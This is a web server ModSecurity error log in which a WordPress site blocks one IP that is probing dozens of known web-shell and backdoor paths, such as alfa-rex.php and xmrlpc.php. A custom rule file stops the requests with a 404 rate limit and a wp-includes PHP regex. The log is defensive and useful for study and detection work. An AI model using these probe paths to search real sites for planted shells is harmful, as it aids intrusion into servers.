[Sun Dec 14 01:36:35.241040 2025] [:error] [pid 3634:tid 3658] [client 4.193.251.36:24112] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/network.php"] [unique_id "aT2kI4bt-wTl4d7Q7qp9eAAAAFQ"]
[Sun Dec 14 01:36:35.414954 2025] [:error] [pid 3636:tid 3713] [client 4.193.251.36:6020] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/wp-login.php"] [unique_id "aT2kI94pNg3LXPqKgeY6_QAAARU"]
[Sun Dec 14 01:36:35.589621 2025] [:error] [pid 14654:tid 14671] [client 4.193.251.36:24066] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/wp-login.php"] [unique_id "aT2kIzqZP_N7tgSGeZcx1AAAAA4"]
[Sun Dec 14 01:36:35.763682 2025] [:error] [pid 3634:tid 3640] [client 4.193.251.36:6099] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/wp-login.php"] [unique_id "aT2kI4bt-wTl4d7Q7qp9eQAAAEI"]
[Sun Dec 14 01:36:35.937144 2025] [:error] [pid 3634:tid 3646] [client 4.193.251.36:24143] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/wp-login.php"] [unique_id "aT2kI4bt-wTl4d7Q7qp9egAAAEg"]
[Sun Dec 14 01:36:36.110690 2025] [:error] [pid 14689:tid 14714] [client 4.193.251.36:24163] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/fckeditor/editor/filemanager/updates.php"] [unique_id "aT2kJEEcifvaa9I7SnmAnwAAAVU"]
[Sun Dec 14 01:36:36.284441 2025] [:error] [pid 3634:tid 3638] [client 4.193.251.36:24148] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/fckeditor/editor/filemanager/updates.php"] [unique_id "aT2kJIbt-wTl4d7Q7qp9ewAAAEA"]
[Sun Dec 14 01:36:36.459505 2025] [:error] [pid 3636:tid 3697] [client 4.193.251.36:6101] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/fckeditor/editor/filemanager/updates.php"] [unique_id "aT2kJN4pNg3LXPqKgeY6_gAAAQU"]
[Sun Dec 14 01:36:36.637495 2025] [:error] [pid 3636:tid 3692] [client 4.193.251.36:24136] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/fckeditor/editor/filemanager/updates.php"] [unique_id "aT2kJN4pNg3LXPqKgeY6_wAAAQA"]
[Sun Dec 14 01:36:36.812855 2025] [:error] [pid 3634:tid 3661] [client 4.193.251.36:24115] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/file.php"] [unique_id "aT2kJIbt-wTl4d7Q7qp9fAAAAFc"]
[Sun Dec 14 01:36:36.985473 2025] [:error] [pid 14654:tid 14670] [client 4.193.251.36:6115] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/file.php"] [unique_id "aT2kJDqZP_N7tgSGeZcx2QAAAA0"]
[Sun Dec 14 01:36:37.159460 2025] [:error] [pid 14654:tid 14668] [client 4.193.251.36:24118] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/file.php"] [unique_id "aT2kJTqZP_N7tgSGeZcx2gAAAAs"]
[Sun Dec 14 01:36:37.332869 2025] [:error] [pid 14654:tid 14679] [client 4.193.251.36:24067] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/file.php"] [unique_id "aT2kJTqZP_N7tgSGeZcx2wAAABY"]
[Sun Dec 14 01:36:37.506704 2025] [:error] [pid 14654:tid 14667] [client 4.193.251.36:24089] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/Response/wp-login.php"] [unique_id "aT2kJTqZP_N7tgSGeZcx3AAAAAo"]
[Sun Dec 14 01:36:37.682352 2025] [:error] [pid 14689:tid 14704] [client 4.193.251.36:6110] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/coffee/alfa-rex.php"] [unique_id "aT2kJUEcifvaa9I7SnmAoQAAAUs"]
[Sun Dec 14 01:36:37.856916 2025] [:error] [pid 14689:tid 14706] [client 4.193.251.36:6136] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/coffee/alfa-rex.php"] [unique_id "aT2kJUEcifvaa9I7SnmAowAAAU0"]
[Sun Dec 14 01:36:38.031384 2025] [:error] [pid 3636:tid 3694] [client 4.193.251.36:24146] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/coffee/alfa-rex.php"] [unique_id "aT2kJt4pNg3LXPqKgeY7AAAAAQI"]
[Sun Dec 14 01:36:38.205410 2025] [:error] [pid 3634:tid 3659] [client 4.193.251.36:24154] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Cache/about.php"] [unique_id "aT2kJobt-wTl4d7Q7qp9fwAAAFU"]
[Sun Dec 14 01:36:38.381711 2025] [:error] [pid 3634:tid 3644] [client 4.193.251.36:24092] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/src/alfa-rex.php"] [unique_id "aT2kJobt-wTl4d7Q7qp9gAAAAEY"]
[Sun Dec 14 01:36:38.555935 2025] [:error] [pid 3635:tid 3673] [client 4.193.251.36:24107] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aT2kJjqfhzW7OpfKxKzqfwAAAMg"]
[Sun Dec 14 01:36:38.729968 2025] [:error] [pid 14654:tid 14662] [client 4.193.251.36:6018] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aT2kJjqZP_N7tgSGeZcx3gAAAAU"]
[Sun Dec 14 01:36:38.905015 2025] [:error] [pid 3636:tid 3703] [client 4.193.251.36:24169] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aT2kJt4pNg3LXPqKgeY7AgAAAQs"]
[Sun Dec 14 01:36:39.081081 2025] [:error] [pid 3634:tid 3645] [client 4.193.251.36:24181] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mail.php/wp-includes/ID3/wp-mail.php"] [unique_id "aT2kJ4bt-wTl4d7Q7qp9gQAAAEc"]
[Sun Dec 14 01:36:39.255247 2025] [:error] [pid 14654:tid 14664] [client 4.193.251.36:6025] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mail.php/wp-includes/ID3/wp-mail.php"] [unique_id "aT2kJzqZP_N7tgSGeZcx3wAAAAc"]
[Sun Dec 14 01:36:39.429323 2025] [:error] [pid 3634:tid 3656] [client 4.193.251.36:24113] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mail.php/wp-includes/ID3/wp-mail.php"] [unique_id "aT2kJ4bt-wTl4d7Q7qp9gwAAAFI"]
[Sun Dec 14 01:36:39.603796 2025] [:error] [pid 3634:tid 3651] [client 4.193.251.36:24166] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mail.php/wp-includes/ID3/wp-mail.php"] [unique_id "aT2kJ4bt-wTl4d7Q7qp9hAAAAE0"]
[Sun Dec 14 01:36:39.778777 2025] [:error] [pid 14654:tid 14658] [client 4.193.251.36:6127] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/revslider/public/assets/assets/sources/wp-login.php"] [unique_id "aT2kJzqZP_N7tgSGeZcx4AAAAAE"]
[Sun Dec 14 01:36:39.954206 2025] [:error] [pid 14654:tid 14674] [client 4.193.251.36:6069] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/revslider/public/assets/assets/sources/wp-login.php"] [unique_id "aT2kJzqZP_N7tgSGeZcx4QAAABE"]
[Sun Dec 14 01:36:40.129233 2025] [:error] [pid 3634:tid 3649] [client 4.193.251.36:24156] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/revslider/public/assets/assets/sources/wp-login.php"] [unique_id "aT2kKIbt-wTl4d7Q7qp9hQAAAEs"]
[Sun Dec 14 01:36:40.302768 2025] [:error] [pid 14654:tid 14680] [client 4.193.251.36:24114] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/revslider/public/assets/assets/sources/wp-login.php"] [unique_id "aT2kKDqZP_N7tgSGeZcx4gAAABc"]
[Sun Dec 14 01:36:40.477347 2025] [:error] [pid 14654:tid 14671] [client 4.193.251.36:6098] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aT2kKDqZP_N7tgSGeZcx4wAAAA4"]
[Sun Dec 14 01:36:40.650823 2025] [:error] [pid 14654:tid 14676] [client 4.193.251.36:6080] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aT2kKDqZP_N7tgSGeZcx5AAAABM"]
[Sun Dec 14 01:36:40.824915 2025] [:error] [pid 3720:tid 3733] [client 4.193.251.36:6019] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aT2kKO7_sgsCEY5RMYrizQAAAIs"]
[Sun Dec 14 01:36:40.997885 2025] [:error] [pid 3720:tid 3728] [client 4.193.251.36:24159] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aT2kKO7_sgsCEY5RMYrizgAAAIY"]
[Sun Dec 14 01:36:41.177315 2025] [:error] [pid 14654:tid 14681] [client 4.193.251.36:24174] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/file.php"] [unique_id "aT2kKTqZP_N7tgSGeZcx5QAAABg"]
[Sun Dec 14 01:36:41.350457 2025] [:error] [pid 14654:tid 14663] [client 4.193.251.36:24106] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/file.php"] [unique_id "aT2kKTqZP_N7tgSGeZcx5gAAAAY"]
[Sun Dec 14 01:36:41.524162 2025] [:error] [pid 3720:tid 3743] [client 4.193.251.36:6116] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/file.php"] [unique_id "aT2kKe7_sgsCEY5RMYrizwAAAJU"]
[Sun Dec 14 01:36:41.699425 2025] [:error] [pid 3720:tid 3730] [client 4.193.251.36:6085] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/file.php"] [unique_id "aT2kKe7_sgsCEY5RMYri0AAAAIg"]
[Sun Dec 14 01:36:41.873257 2025] [:error] [pid 3634:tid 3660] [client 4.193.251.36:24084] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/item.php"] [unique_id "aT2kKYbt-wTl4d7Q7qp9iAAAAFY"]
[Sun Dec 14 01:36:42.047399 2025] [:error] [pid 3635:tid 3668] [client 4.193.251.36:6086] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/item.php"] [unique_id "aT2kKjqfhzW7OpfKxKzqgQAAAMM"]
[Sun Dec 14 01:36:42.222434 2025] [:error] [pid 14654:tid 14667] [client 4.193.251.36:6055] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/item.php"] [unique_id "aT2kKjqZP_N7tgSGeZcx6QAAAAo"]
[Sun Dec 14 01:36:42.397492 2025] [:error] [pid 3634:tid 3643] [client 4.193.251.36:6119] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/item.php"] [unique_id "aT2kKobt-wTl4d7Q7qp9iQAAAEU"]
[Sun Dec 14 01:36:42.570912 2025] [:error] [pid 14654:tid 14673] [client 4.193.251.36:6100] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2020/admin.php"] [unique_id "aT2kKjqZP_N7tgSGeZcx6gAAABA"]
[Sun Dec 14 01:36:42.746183 2025] [:error] [pid 14654:tid 14660] [client 4.193.251.36:24122] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2020/admin.php"] [unique_id "aT2kKjqZP_N7tgSGeZcx6wAAAAM"]
[Sun Dec 14 01:36:42.921048 2025] [:error] [pid 3634:tid 3658] [client 4.193.251.36:6132] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2020/admin.php"] [unique_id "aT2kKobt-wTl4d7Q7qp9iwAAAFQ"]
[Sun Dec 14 01:36:43.095094 2025] [:error] [pid 14654:tid 14678] [client 4.193.251.36:6066] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2020/admin.php"] [unique_id "aT2kKzqZP_N7tgSGeZcx7AAAABU"]
[Sun Dec 14 01:36:43.269090 2025] [:error] [pid 3634:tid 3646] [client 4.193.251.36:6075] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aT2kK4bt-wTl4d7Q7qp9jAAAAEg"]
[Sun Dec 14 01:36:43.444029 2025] [:error] [pid 3634:tid 3638] [client 4.193.251.36:6054] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aT2kK4bt-wTl4d7Q7qp9jQAAAEA"]
[Sun Dec 14 01:36:43.618230 2025] [:error] [pid 3720:tid 3735] [client 4.193.251.36:6089] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aT2kK-7_sgsCEY5RMYri0QAAAI0"]
[Sun Dec 14 01:36:43.792406 2025] [:error] [pid 3720:tid 3734] [client 4.193.251.36:6023] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aT2kK-7_sgsCEY5RMYri0gAAAIw"]
[Sun Dec 14 01:36:43.966337 2025] [:error] [pid 3720:tid 3740] [client 4.193.251.36:24105] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/images/wp-login.php"] [unique_id "aT2kK-7_sgsCEY5RMYri0wAAAJI"]
[Sun Dec 14 01:36:44.141696 2025] [:error] [pid 3635:tid 3670] [client 4.193.251.36:24132] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/images/wp-login.php"] [unique_id "aT2kLDqfhzW7OpfKxKzqggAAAMU"]
[Sun Dec 14 01:36:44.315687 2025] [:error] [pid 3636:tid 3710] [client 4.193.251.36:6135] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/images/wp-login.php"] [unique_id "aT2kLN4pNg3LXPqKgeY7AwAAARI"]
[Sun Dec 14 01:36:44.489064 2025] [:error] [pid 3635:tid 3675] [client 4.193.251.36:6072] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/images/wp-login.php"] [unique_id "aT2kLDqfhzW7OpfKxKzqgwAAAMo"]
